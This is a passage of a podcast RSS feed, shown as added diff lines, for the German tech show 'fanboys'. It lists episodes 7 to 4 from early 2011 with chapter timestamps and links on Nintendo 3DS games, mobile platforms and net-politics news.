+
+
+(cc-by-nc-sa) 2010]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:00:07</td><td><a href="http://twitter.com/monkeydom" target="_blank">Mit Dominik</td></tr><tr><td>00:00:09</td><td><a href="http://twitter.com/map" target="_blank">Und Martin</td></tr><tr><td>00:03:07</td><td><a href="http://kre.is/4hF0" target="_blank">Periodicals in iBooks</td></tr><tr><td>00:04:43</td><td><a href="http://thedailyindexed.tumblr.com/" target="_blank">The Daily Indexed</td></tr><tr><td>00:06:31</td><td><a href="http://www.fscklog.com/2011/02/apple-gibt-in-app-kauf-zwangs-bombe-offiziell-bekannt.html" target="_blank">In-App-Kaufs-Zwangs-Bombe</td></tr><tr><td>00:10:07</td><td><a href="http://www.tagesschau.de/wirtschaft/googlebezahlsystem100.html" target="_blank">Google One-Pass</td></tr><tr><td>00:11:35</td><td><a href="http://www.engadget.com/2011/02/06/best-buy-ad-prices-motorola-xoom-at-800-affirms-february-24th/" target="_blank">Motorola Xoom Preis-Wirrwarr</td></tr><tr><td>00:16:12</td><td><a href="http://www.amazon.de/dp/3430201217" target="_blank">Inside Wikileaks</td></tr><tr><td>00:26:25</td><td><a href="http://www.gamezone.de/news_detail.asp?nid=94532" target="_blank">Killzone Stachus</td></tr><tr><td>00:27:58</td><td><a href="http://www.youtube.com/watch?v=gIBjmzwXQJQ" target="_blank">Valentins Helghast</td></tr><tr><td>00:30:48</td><td><a href="http://www.ibm.com/innovation/us/watson/" target="_blank">Watson spielt Jeopardy (Vorsicht Spoiler!)</td></tr><tr><td>00:38:51</td><td><a href="http://audioboo.fm/tag/fanb0ys" target="_blank">Hörerkommentar von Marcel</td></tr><tr><td>00:42:25</td><td>Crossplattformentwicklung</td></tr><tr><td>00:50:14</td><td>Ist WebOS noch zu retten?</td></tr><tr><td>00:56:46</td><td>Medienkonsumempfehlungen</td></tr><tr><td>00:57:31</td><td><a href="http://www.youtube.com/watch?v=aHun58mz3vI" target="_blank">News Wipe</td></tr><tr><td>00:57:41</td><td><a href="http://www.youtube.com/watch?v=bXOPIbb8ZjA" target="_blank">Screen Wipe</td></tr><tr><td>00:57:58</td><td><a href="http://en.wikipedia.org/wiki/Dead_Set_(TV_series)" target="_blank">Dead Set</td></tr><tr><td>01:00:54</td><td><a href="http://www.youtube.com/watch?v=ccekG6vkjKg" target="_blank">Misfits auf Youtube</td></tr><tr><td>01:01:53</td><td><a href="http://www.funnyordie.com/between_two_ferns" target="_blank">Between two ferns</td></tr><tr><td>01:08:24</td><td><a href="http://itunes.apple.com/us/app/cat-physics/id373342398?mt=8" target="_blank">Cat Physics</td></tr><tr><td>01:12:26</td><td><a href="http://www.youtube.com/watch?v=9iUvuaChDEg" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:00:07" title="Mit Dominik" href="http://twitter.com/monkeydom" />
+ <sc:chapter start="00:00:09" title="Und Martin" href="http://twitter.com/map" />
+ <sc:chapter start="00:03:07" title="Periodicals in iBooks" href="http://kre.is/4hF0" />
+ <sc:chapter start="00:04:43" title="The Daily Indexed" href="http://thedailyindexed.tumblr.com/" />
+ <sc:chapter start="00:06:31" title="In-App-Kaufs-Zwangs-Bombe" href="http://www.fscklog.com/2011/02/apple-gibt-in-app-kauf-zwangs-bombe-offiziell-bekannt.html" />
+ <sc:chapter start="00:10:07" title="Google One-Pass" href="http://www.tagesschau.de/wirtschaft/googlebezahlsystem100.html" />
+ <sc:chapter start="00:11:35" title="Motorola Xoom Preis-Wirrwarr" href="http://www.engadget.com/2011/02/06/best-buy-ad-prices-motorola-xoom-at-800-affirms-february-24th/" />
+ <sc:chapter start="00:16:12" title="Inside Wikileaks" href="http://www.amazon.de/dp/3430201217" />
+ <sc:chapter start="00:26:25" title="Killzone Stachus" href="http://www.gamezone.de/news_detail.asp?nid=94532" />
+ <sc:chapter start="00:27:58" title="Valentins Helghast" href="http://www.youtube.com/watch?v=gIBjmzwXQJQ" />
+ <sc:chapter start="00:30:48" title="Watson spielt Jeopardy (Vorsicht Spoiler!)" href="http://www.ibm.com/innovation/us/watson/" />
+ <sc:chapter start="00:38:51" title="Hörerkommentar von Marcel" href="http://audioboo.fm/tag/fanb0ys" />
+ <sc:chapter start="00:42:25" title="Crossplattformentwicklung" />
+ <sc:chapter start="00:50:14" title="Ist WebOS noch zu retten?" />
+ <sc:chapter start="00:56:46" title="Medienkonsumempfehlungen" />
+ <sc:chapter start="00:57:31" title="News Wipe" href="http://www.youtube.com/watch?v=aHun58mz3vI" />
+ <sc:chapter start="00:57:41" title="Screen Wipe" href="http://www.youtube.com/watch?v=bXOPIbb8ZjA" />
+ <sc:chapter start="00:57:58" title="Dead Set" href="http://en.wikipedia.org/wiki/Dead_Set_(TV_series)" />
+ <sc:chapter start="01:00:54" title="Misfits auf Youtube" href="http://www.youtube.com/watch?v=ccekG6vkjKg" />
+ <sc:chapter start="01:01:53" title="Between two ferns" href="http://www.funnyordie.com/between_two_ferns" />
+ <sc:chapter start="01:08:24" title="Cat Physics" href="http://itunes.apple.com/us/app/cat-physics/id373342398?mt=8" />
+ <sc:chapter start="01:12:26" title="Rausschmeisser" href="http://www.youtube.com/watch?v=9iUvuaChDEg" />
+ </sc:chapters>
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#7:" />
+ </item>
+ <item>
+ <title>Episode #6 - Jetzt auch in 3D!</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Jetzt auch in 3D!</itunes:subtitle>
+ <enclosure url="http://xn--fanbys-exa.org/episodes/FAN006.mp3" length="57393109" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN006</guid>
+ <pubDate>Fri, 11 Feb 2011 18:32:29 +0100</pubDate>
+ <itunes:duration>01:59:34</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:00:08 Mit Dominik
+00:00:11 Und Martin
+00:00:29 Oftmals falsch Martin/Dominik
+00:02:53 Dom's Javascript Spielerei
+00:04:56 Javascript besser verstehen
+00:06:26 3DS Experience Night in München
+00:07:45 Ersteindrücke in Sachen 3D
+00:10:28 Combat of Giants: Dinosaurs 3D
+00:10:57 Dead or Alive Dimensions
+00:11:38 Blickwinkel Problematiken
+00:16:43 Angestrengte Augen
+00:19:05 3D Videos auf dem 3DS gucken?
+00:20:30 Brille vs. Lentikulardisplay
+00:23:36 Stift
+00:24:02 Touchpad
+00:26:45 Schiebepad
+00:29:48 Kameras
+00:32:17 Friendcodes
+00:34:10 Mii Generator
+00:37:59 Streetpass
+00:40:24 Activity Log
+00:41:10 Face Raiders
+00:41:54 Augmented Reality
+00:44:30 eShop
+00:45:10 Akku
+00:48:23 Notizen
+00:49:29 Super Streetfighter IV - 3D Edition
+00:52:05 Super Monkey Ball 3D
+00:52:21 Puzzle Bobble 3D
+00:53:18 Sims 3 3DS
+00:53:33 Grafikqualität
+00:54:30 Paper Mario
+00:54:59 Zelda: Ocarina of Time 3DS
+00:55:25 Resident Evil: Revelations
+00:56:22 Kid Icarus: Uprising
+00:58:41 Star Fox 64 3DS
+00:59:22 Metal Gear Solid 3D Snake Eater The Naked Sample 3DS
+01:01:49 Mario Kart 3DS
+01:02:27 RIDGE RACER 3D
+01:03:08 Asphalt 3D
+01:03:24 Starttitel
+01:03:50 Nintendogs + Cats
+01:04:07 Pilotwings Resort
+01:04:48 Samurai Warriors: Chronicles
+01:06:34 Animal Crossing 3DS
+01:07:00 Ubisoft Titel
+01:07:41 3DS Zwischenfazit
+01:13:07 Nokisoft oder Microkia?
+01:13:56 Stephen Elop
+01:15:54 Meego
+01:20:38 What about Finland?
+01:22:18 And what about QT?
+01:26:33 webOS lebt
+01:31:20 Depression
+01:31:36 Sicherheitskonferenz Bonmots
+01:41:24 Bundeskanzleramt fordert Ethik fürs Internet
+01:45:59 Battleheart
+01:49:22 Super Soviet Missile Mastar
+01:50:00 Dungeon Raid
+01:53:19 App Store und Süd Korea
+01:55:45 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2010]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:00:08</td><td><a href="http://twitter.com/monkeydom" target="_blank">Mit Dominik</td></tr><tr><td>00:00:11</td><td><a href="http://twitter.com/map" target="_blank">Und Martin</td></tr><tr><td>00:00:29</td><td>Oftmals falsch Martin/Dominik</td></tr><tr><td>00:02:53</td><td><a href="http://dasgenie.com/Circles.html" target="_blank">Dom's Javascript Spielerei</td></tr><tr><td>00:04:56</td><td><a href="http://bonsaiden.github.com/JavaScript-Garden/" target="_blank">Javascript besser verstehen</td></tr><tr><td>00:06:26</td><td>3DS Experience Night in München</td></tr><tr><td>00:07:45</td><td>Ersteindrücke in Sachen 3D</td></tr><tr><td>00:10:28</td><td><a href="http://en.wikipedia.org/wiki/Combat_of_Giants:_Dinosaur_Strike" target="_blank">Combat of Giants: Dinosaurs 3D</td></tr><tr><td>00:10:57</td><td><a href="http://en.wikipedia.org/wiki/Dead_Or_Alive:_Dimensions" target="_blank">Dead or Alive Dimensions</td></tr><tr><td>00:11:38</td><td>Blickwinkel Problematiken</td></tr><tr><td>00:16:43</td><td>Angestrengte Augen</td></tr><tr><td>00:19:05</td><td>3D Videos auf dem 3DS gucken?</td></tr><tr><td>00:20:30</td><td>Brille vs. Lentikulardisplay</td></tr><tr><td>00:23:36</td><td>Stift</td></tr><tr><td>00:24:02</td><td>Touchpad</td></tr><tr><td>00:26:45</td><td>Schiebepad</td></tr><tr><td>00:29:48</td><td>Kameras</td></tr><tr><td>00:32:17</td><td>Friendcodes</td></tr><tr><td>00:34:10</td><td><a href="http://en.wikipedia.org/wiki/Nintendo_3DS#Mii" target="_blank">Mii Generator</td></tr><tr><td>00:37:59</td><td><a href="http://en.wikipedia.org/wiki/Nintendo_3DS#StreetPass_and_SpotPass_Mode" target="_blank">Streetpass</td></tr><tr><td>00:40:24</td><td><a href="http://en.wikipedia.org/wiki/Nintendo_3DS#Activity_log" target="_blank">Activity Log</td></tr><tr><td>00:41:10</td><td><a href="http://www.viddler.com/explore/engadget/videos/2413/" target="_blank">Face Raiders</td></tr><tr><td>00:41:54</td><td><a href="http://en.wikipedia.org/wiki/Nintendo_3DS#Augmented_reality" target="_blank">Augmented Reality</td></tr><tr><td>00:44:30</td><td>eShop</td></tr><tr><td>00:45:10</td><td><a href="http://en.wikipedia.org/wiki/Nintendo_3DS#3DS_vs_DS_series" target="_blank">Akku</td></tr><tr><td>00:48:23</td><td>Notizen</td></tr><tr><td>00:49:29</td><td><a href="http://en.wikipedia.org/wiki/Super_Street_Fighter_IV#Nintendo_3DS_version" target="_blank">Super Streetfighter IV - 3D Edition</td></tr><tr><td>00:52:05</td><td>Super Monkey Ball 3D</td></tr><tr><td>00:52:21</td><td><a href="http://www.destructoid.com/puzzle-bobble-coming-to-3ds-185156.phtml" target="_blank">Puzzle Bobble 3D</td></tr><tr><td>00:53:18</td><td><a href="http://en.wikipedia.org/wiki/The_Sims_3_(console_video_game)" target="_blank">Sims 3 3DS</td></tr><tr><td>00:53:33</td><td>Grafikqualität</td></tr><tr><td>00:54:30</td><td><a href="http://en.wikipedia.org/wiki/Paper_Mario_3DS" target="_blank">Paper Mario</td></tr><tr><td>00:54:59</td><td><a href="http://en.wikipedia.org/wiki/The_Legend_of_Zelda:_Ocarina_of_Time_3D#Nintendo_3DS_version" target="_blank">Zelda: Ocarina of Time 3DS</td></tr><tr><td>00:55:25</td><td><a href="http://en.wikipedia.org/wiki/Resident_Evil:_Revelations" target="_blank">Resident Evil: Revelations</td></tr><tr><td>00:56:22</td><td><a href="http://en.wikipedia.org/wiki/Kid_Icarus:_Uprising" target="_blank">Kid Icarus: Uprising</td></tr><tr><td>00:58:41</td><td><a href="http://en.wikipedia.org/wiki/Star_Fox_64_3DS#3DS_remake" target="_blank">Star Fox 64 3DS</td></tr><tr><td>00:59:22</td><td><a href="http://en.wikipedia.org/wiki/Metal_Gear_Solid:_Snake_Eater#Metal_Gear_Solid:_Snake_Eater_3D" target="_blank">Metal Gear Solid 3D Snake Eater The Naked Sample 3DS</td></tr><tr><td>01:01:49</td><td><a href="http://en.wikipedia.org/wiki/Mario_Kart_3DS" target="_blank">Mario Kart 3DS</td></tr><tr><td>01:02:27</td><td><a href="http://en.wikipedia.org/wiki/Ridge_Racer_3D" target="_blank">RIDGE RACER 3D</td></tr><tr><td>01:03:08</td><td><a href="http://en.wikipedia.org/wiki/Asphalt_3D" target="_blank">Asphalt 3D</td></tr><tr><td>01:03:24</td><td>Starttitel</td></tr><tr><td>01:03:50</td><td><a href="http://en.wikipedia.org/wiki/Nintendogs_%2B_Cats" target="_blank">Nintendogs + Cats</td></tr><tr><td>01:04:07</td><td><a href="http://en.wikipedia.org/wiki/Pilotwings_Resort" target="_blank">Pilotwings Resort</td></tr><tr><td>01:04:48</td><td><a href="http://en.wikipedia.org/wiki/Samurai_Warriors:_Chronicles" target="_blank">Samurai Warriors: Chronicles</td></tr><tr><td>01:06:34</td><td><a href="http://en.wikipedia.org/wiki/Animal_crossing" target="_blank">Animal Crossing 3DS</td></tr><tr><td>01:07:00</td><td>Ubisoft Titel</td></tr><tr><td>01:07:41</td><td>3DS Zwischenfazit</td></tr><tr><td>01:13:07</td><td><a href="http://www.microsoft.com/presspass/press/2011/feb11/02-11partnership.mspx" target="_blank">Nokisoft oder Microkia?</td></tr><tr><td>01:13:56</td><td><a href="http://en.wikipedia.org/wiki/Stephen_Elop" target="_blank">Stephen Elop</td></tr><tr><td>01:15:54</td><td><a href="http://meego.com/" target="_blank">Meego</td></tr><tr><td>01:20:38</td><td>What about Finland?</td></tr><tr><td>01:22:18</td><td><a href="http://en.wikipedia.org/wiki/Qt_(framework)" target="_blank">And what about QT?</td></tr><tr><td>01:26:33</td><td><a href="http://blog.cocoia.com/2011/hp-webos-event-roundup/" target="_blank">webOS lebt</td></tr><tr><td>01:31:20</td><td>Depression</td></tr><tr><td>01:31:36</td><td>Sicherheitskonferenz Bonmots</td></tr><tr><td>01:41:24</td><td><a href="http://www.heise.de/newsticker/meldung/Bundeskanzleramt-fordert-Ethik-fuers-Internet-1186318.html" target="_blank">Bundeskanzleramt fordert Ethik fürs Internet</td></tr><tr><td>01:45:59</td><td><a href="http://itunes.apple.com/de/app/battleheart/id394057299?mt=8" target="_blank">Battleheart</td></tr><tr><td>01:49:22</td><td><a href="http://itunes.apple.com/us/app/super-soviet-missile-mastar/id406395545?mt=8" target="_blank">Super Soviet Missile Mastar</td></tr><tr><td>01:50:00</td><td><a href="http://itunes.apple.com/de/app/dungeon-raid/id403090531?mt=8" target="_blank">Dungeon Raid</td></tr><tr><td>01:53:19</td><td>App Store und Süd Korea</td></tr><tr><td>01:55:45</td><td><a href="http://www.youtube.com/watch?v=dmoDLyiQYKw" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:00:08" title="Mit Dominik" href="http://twitter.com/monkeydom" />
+ <sc:chapter start="00:00:11" title="Und Martin" href="http://twitter.com/map" />
+ <sc:chapter start="00:00:29" title="Oftmals falsch Martin/Dominik" />
+ <sc:chapter start="00:02:53" title="Dom's Javascript Spielerei" href="http://dasgenie.com/Circles.html" />
+ <sc:chapter start="00:04:56" title="Javascript besser verstehen" href="http://bonsaiden.github.com/JavaScript-Garden/" />
+ <sc:chapter start="00:06:26" title="3DS Experience Night in München" />
+ <sc:chapter start="00:07:45" title="Ersteindrücke in Sachen 3D" />
+ <sc:chapter start="00:10:28" title="Combat of Giants: Dinosaurs 3D" href="http://en.wikipedia.org/wiki/Combat_of_Giants:_Dinosaur_Strike" />
+ <sc:chapter start="00:10:57" title="Dead or Alive Dimensions" href="http://en.wikipedia.org/wiki/Dead_Or_Alive:_Dimensions" />
+ <sc:chapter start="00:11:38" title="Blickwinkel Problematiken" />
+ <sc:chapter start="00:16:43" title="Angestrengte Augen" />
+ <sc:chapter start="00:19:05" title="3D Videos auf dem 3DS gucken?" />
+ <sc:chapter start="00:20:30" title="Brille vs. Lentikulardisplay" />
+ <sc:chapter start="00:23:36" title="Stift" />
+ <sc:chapter start="00:24:02" title="Touchpad" />
+ <sc:chapter start="00:26:45" title="Schiebepad" />
+ <sc:chapter start="00:29:48" title="Kameras" />
+ <sc:chapter start="00:32:17" title="Friendcodes" />
+ <sc:chapter start="00:34:10" title="Mii Generator" href="http://en.wikipedia.org/wiki/Nintendo_3DS#Mii" />
+ <sc:chapter start="00:37:59" title="Streetpass" href="http://en.wikipedia.org/wiki/Nintendo_3DS#StreetPass_and_SpotPass_Mode" />
+ <sc:chapter start="00:40:24" title="Activity Log" href="http://en.wikipedia.org/wiki/Nintendo_3DS#Activity_log" />
+ <sc:chapter start="00:41:10" title="Face Raiders" href="http://www.viddler.com/explore/engadget/videos/2413/" />
+ <sc:chapter start="00:41:54" title="Augmented Reality" href="http://en.wikipedia.org/wiki/Nintendo_3DS#Augmented_reality" />
+ <sc:chapter start="00:44:30" title="eShop" />
+ <sc:chapter start="00:45:10" title="Akku" href="http://en.wikipedia.org/wiki/Nintendo_3DS#3DS_vs_DS_series" />
+ <sc:chapter start="00:48:23" title="Notizen" />
+ <sc:chapter start="00:49:29" title="Super Streetfighter IV - 3D Edition" href="http://en.wikipedia.org/wiki/Super_Street_Fighter_IV#Nintendo_3DS_version" />
+ <sc:chapter start="00:52:05" title="Super Monkey Ball 3D" />
+ <sc:chapter start="00:52:21" title="Puzzle Bobble 3D" href="http://www.destructoid.com/puzzle-bobble-coming-to-3ds-185156.phtml" />
+ <sc:chapter start="00:53:18" title="Sims 3 3DS" href="http://en.wikipedia.org/wiki/The_Sims_3_(console_video_game)" />
+ <sc:chapter start="00:53:33" title="Grafikqualität" />
+ <sc:chapter start="00:54:30" title="Paper Mario" href="http://en.wikipedia.org/wiki/Paper_Mario_3DS" />
+ <sc:chapter start="00:54:59" title="Zelda: Ocarina of Time 3DS" href="http://en.wikipedia.org/wiki/The_Legend_of_Zelda:_Ocarina_of_Time_3D#Nintendo_3DS_version" />
+ <sc:chapter start="00:55:25" title="Resident Evil: Revelations" href="http://en.wikipedia.org/wiki/Resident_Evil:_Revelations" />
+ <sc:chapter start="00:56:22" title="Kid Icarus: Uprising" href="http://en.wikipedia.org/wiki/Kid_Icarus:_Uprising" />
+ <sc:chapter start="00:58:41" title="Star Fox 64 3DS" href="http://en.wikipedia.org/wiki/Star_Fox_64_3DS#3DS_remake" />
+ <sc:chapter start="00:59:22" title="Metal Gear Solid 3D Snake Eater The Naked Sample 3DS" href="http://en.wikipedia.org/wiki/Metal_Gear_Solid:_Snake_Eater#Metal_Gear_Solid:_Snake_Eater_3D" />
+ <sc:chapter start="01:01:49" title="Mario Kart 3DS" href="http://en.wikipedia.org/wiki/Mario_Kart_3DS" />
+ <sc:chapter start="01:02:27" title="RIDGE RACER 3D" href="http://en.wikipedia.org/wiki/Ridge_Racer_3D" />
+ <sc:chapter start="01:03:08" title="Asphalt 3D" href="http://en.wikipedia.org/wiki/Asphalt_3D" />
+ <sc:chapter start="01:03:24" title="Starttitel" />
+ <sc:chapter start="01:03:50" title="Nintendogs + Cats" href="http://en.wikipedia.org/wiki/Nintendogs_%2B_Cats" />
+ <sc:chapter start="01:04:07" title="Pilotwings Resort" href="http://en.wikipedia.org/wiki/Pilotwings_Resort" />
+ <sc:chapter start="01:04:48" title="Samurai Warriors: Chronicles" href="http://en.wikipedia.org/wiki/Samurai_Warriors:_Chronicles" />
+ <sc:chapter start="01:06:34" title="Animal Crossing 3DS" href="http://en.wikipedia.org/wiki/Animal_crossing" />
+ <sc:chapter start="01:07:00" title="Ubisoft Titel" />
+ <sc:chapter start="01:07:41" title="3DS Zwischenfazit" />
+ <sc:chapter start="01:13:07" title="Nokisoft oder Microkia?" href="http://www.microsoft.com/presspass/press/2011/feb11/02-11partnership.mspx" />
+ <sc:chapter start="01:13:56" title="Stephen Elop" href="http://en.wikipedia.org/wiki/Stephen_Elop" />
+ <sc:chapter start="01:15:54" title="Meego" href="http://meego.com/" />
+ <sc:chapter start="01:20:38" title="What about Finland?" />
+ <sc:chapter start="01:22:18" title="And what about QT?" href="http://en.wikipedia.org/wiki/Qt_(framework)" />
+ <sc:chapter start="01:26:33" title="webOS lebt" href="http://blog.cocoia.com/2011/hp-webos-event-roundup/" />
+ <sc:chapter start="01:31:20" title="Depression" />
+ <sc:chapter start="01:31:36" title="Sicherheitskonferenz Bonmots" />
+ <sc:chapter start="01:41:24" title="Bundeskanzleramt fordert Ethik fürs Internet" href="http://www.heise.de/newsticker/meldung/Bundeskanzleramt-fordert-Ethik-fuers-Internet-1186318.html" />
+ <sc:chapter start="01:45:59" title="Battleheart" href="http://itunes.apple.com/de/app/battleheart/id394057299?mt=8" />
+ <sc:chapter start="01:49:22" title="Super Soviet Missile Mastar" href="http://itunes.apple.com/us/app/super-soviet-missile-mastar/id406395545?mt=8" />
+ <sc:chapter start="01:50:00" title="Dungeon Raid" href="http://itunes.apple.com/de/app/dungeon-raid/id403090531?mt=8" />
+ <sc:chapter start="01:53:19" title="App Store und Süd Korea" />
+ <sc:chapter start="01:55:45" title="Rausschmeisser" href="http://www.youtube.com/watch?v=dmoDLyiQYKw" />
+ </sc:chapters>
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#6:" />
+ </item>
+ <item>
+ <title>Episode #5 - The N-Word</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>The N-Word</itunes:subtitle>
+ <enclosure url="http://xn--fanbys-exa.org/episodes/FAN005.mp3" length="42039424" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN005</guid>
+ <pubDate>Thu, 03 Feb 2011 17:21:27 +0100</pubDate>
+ <itunes:duration>01:27:34</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:00:11 Mit Dominik
+00:00:13 Und Martin
+00:01:25 CSU Netzkongress
+00:12:33 Bayern Trojaner
+00:15:35 Internet Not-Aus in Österreich?
+00:18:52 Fling: Analog Joystick for iPad
+00:23:39 The Daily
+00:33:28 IAP Zwang für Bücher?
+00:35:50 Intel hat Sand im Getriebe
+00:38:50 Android Honeycomb
+00:48:30 Microsoft H.264 Plugin für Chrome
+00:50:40 cathode
+00:52:01 Frequently Asked Questions About Time Travel
+00:55:44 Derren Brown
+01:02:59 10²³
+01:17:17 Audiokommentar
+01:18:55 Audioboo (Tag: fanb0ys)
+01:22:10 Hindenburg
+01:25:18 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2010]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:00:11</td><td><a href="http://kre.is/3u0q" target="_blank">Mit Dominik</td></tr><tr><td>00:00:13</td><td><a href="http://kre.is/3tXk" target="_blank">Und Martin</td></tr><tr><td>00:01:25</td><td><a href="http://kre.is/4NWK" target="_blank">CSU Netzkongress</td></tr><tr><td>00:12:33</td><td><a href="http://kre.is/4NRq" target="_blank">Bayern Trojaner</td></tr><tr><td>00:15:35</td><td><a href="http://kre.is/4Mzh" target="_blank">Internet Not-Aus in Österreich?</td></tr><tr><td>00:18:52</td><td><a href="http://kre.is/4NHA" target="_blank">Fling: Analog Joystick for iPad</td></tr><tr><td>00:23:39</td><td><a href="http://kre.is/4Mpg" target="_blank">The Daily</td></tr><tr><td>00:33:28</td><td><a href="http://kre.is/4Mku" target="_blank">IAP Zwang für Bücher?</td></tr><tr><td>00:35:50</td><td><a href="http://kre.is/4NUk" target="_blank">Intel hat Sand im Getriebe</td></tr><tr><td>00:38:50</td><td><a href="http://kre.is/4N9S" target="_blank">Android Honeycomb</td></tr><tr><td>00:48:30</td><td><a href="http://kre.is/4N8X" target="_blank">Microsoft H.264 Plugin für Chrome</td></tr><tr><td>00:50:40</td><td><a href="http://kre.is/4N8U" target="_blank">cathode</td></tr><tr><td>00:52:01</td><td><a href="http://kre.is/4Mkv" target="_blank">Frequently Asked Questions About Time Travel</td></tr><tr><td>00:55:44</td><td><a href="http://kre.is/4Mly" target="_blank">Derren Brown</td></tr><tr><td>01:02:59</td><td><a href="http://kre.is/4NOG" target="_blank">10²³</td></tr><tr><td>01:17:17</td><td>Audiokommentar</td></tr><tr><td>01:18:55</td><td><a href="http://kre.is/4NWD" target="_blank">Audioboo (Tag: fanb0ys)</td></tr><tr><td>01:22:10</td><td><a href="http://kre.is/4N6n" target="_blank">Hindenburg</td></tr><tr><td>01:25:18</td><td><a href="http://kre.is/4Mx4" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:00:11" title="Mit Dominik" href="http://kre.is/3u0q" />
+ <sc:chapter start="00:00:13" title="Und Martin" href="http://kre.is/3tXk" />
+ <sc:chapter start="00:01:25" title="CSU Netzkongress" href="http://kre.is/4NWK" />
+ <sc:chapter start="00:12:33" title="Bayern Trojaner" href="http://kre.is/4NRq" />
+ <sc:chapter start="00:15:35" title="Internet Not-Aus in Österreich?" href="http://kre.is/4Mzh" />
+ <sc:chapter start="00:18:52" title="Fling: Analog Joystick for iPad" href="http://kre.is/4NHA" />
+ <sc:chapter start="00:23:39" title="The Daily" href="http://kre.is/4Mpg" />
+ <sc:chapter start="00:33:28" title="IAP Zwang für Bücher?" href="http://kre.is/4Mku" />
+ <sc:chapter start="00:35:50" title="Intel hat Sand im Getriebe" href="http://kre.is/4NUk" />
+ <sc:chapter start="00:38:50" title="Android Honeycomb" href="http://kre.is/4N9S" />
+ <sc:chapter start="00:48:30" title="Microsoft H.264 Plugin für Chrome" href="http://kre.is/4N8X" />
+ <sc:chapter start="00:50:40" title="cathode" href="http://kre.is/4N8U" />
+ <sc:chapter start="00:52:01" title="Frequently Asked Questions About Time Travel" href="http://kre.is/4Mkv" />
+ <sc:chapter start="00:55:44" title="Derren Brown" href="http://kre.is/4Mly" />
+ <sc:chapter start="01:02:59" title="10²³" href="http://kre.is/4NOG" />
+ <sc:chapter start="01:17:17" title="Audiokommentar" />
+ <sc:chapter start="01:18:55" title="Audioboo (Tag: fanb0ys)" href="http://kre.is/4NWD" />
+ <sc:chapter start="01:22:10" title="Hindenburg" href="http://kre.is/4N6n" />
+ <sc:chapter start="01:25:18" title="Rausschmeisser" href="http://kre.is/4Mx4" />
+ </sc:chapters>
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#5:" />
+ </item>
+ <item>
+ <title>Episode #4 - Fanboys: Legacy</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Fanboys: Legacy</itunes:subtitle>
+ <enclosure url="http://xn--fanbys-exa.org/episodes/FAN004.mp3" length="34775168" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN004</guid>
+ <pubDate>Fri, 28 Jan 2011 19:38:24 +0100</pubDate>
+ <itunes:duration>01:12:26</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:00:07 Mit Dominik
+00:00:10 Und Martin
+00:00:47 Oftmals-falsch-Martin
+00:01:30 3DS Augmented Reality
+00:04:05 3DS Datum
+00:04:36 Sony NGP Pressekonferenz
+00:17:37 Android Marketplace für PS1 Spiele
+00:21:24 Sony vs. Hotzelschorsch, Teil 2
+00:23:24 Projekt INDECT
+00:25:38 3sat über INDECT
+00:26:50 Stopp INDECT
+00:27:52 27C3: INDECT - an EU-Surveillance Project
+00:28:14 Ägypten macht das Internet aus
+00:34:43 Core Intuition
+00:38:57 phantomjs
+00:41:41 raphaëljs
+00:44:28 Dead Space iOS
+00:53:00 Tron
+00:54:21 Tron: Legacy
+01:01:56 Tron: Evolution
+01:04:05 Leuchtende Klamotten
+01:06:23 Elementarfragen: Software Entwicklung
+01:07:35 flattr Link der Woche
+01:08:24 Rausschmeisser
+01:09:52 midimachine - Tron Legacy (8-bit)
+
+
+
+(cc-by-nc-sa) 2010]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:00:07</td><td><a href="http://kre.is/3u0q" target="_blank">Mit Dominik</td></tr><tr><td>00:00:10</td><td><a href="http://kre.is/3tXk" target="_blank">Und Martin</td></tr><tr><td>00:00:47</td><td>Oftmals-falsch-Martin</td></tr><tr><td>00:01:30</td><td><a href="http://kre.is/4G5U" target="_blank">3DS Augmented Reality</td></tr><tr><td>00:04:05</td><td><a href="http://kre.is/4G5U" target="_blank">3DS Datum</td></tr><tr><td>00:04:36</td><td>Sony NGP Pressekonferenz</td></tr><tr><td>00:17:37</td><td>Android Marketplace für PS1 Spiele</td></tr><tr><td>00:21:24</td><td>Sony vs. Hotzelschorsch, Teil 2</td></tr><tr><td>00:23:24</td><td><a href="http://kre.is/4FnW" target="_blank">Projekt INDECT</td></tr><tr><td>00:25:38</td><td><a href="http://kre.is/4FqX" target="_blank">3sat über INDECT</td></tr><tr><td>00:26:50</td><td><a href="http://kre.is/4GLq" target="_blank">Stopp INDECT</td></tr><tr><td>00:27:52</td><td><a href="http://kre.is/4GFK" target="_blank">27C3: INDECT - an EU-Surveillance Project</td></tr><tr><td>00:28:14</td><td><a href="http://kre.is/4GSQ" target="_blank">Ägypten macht das Internet aus</td></tr><tr><td>00:34:43</td><td><a href="http://kre.is/4FlE" target="_blank">Core Intuition</td></tr><tr><td>00:38:57</td><td><a href="http://kre.is/4GcQ" 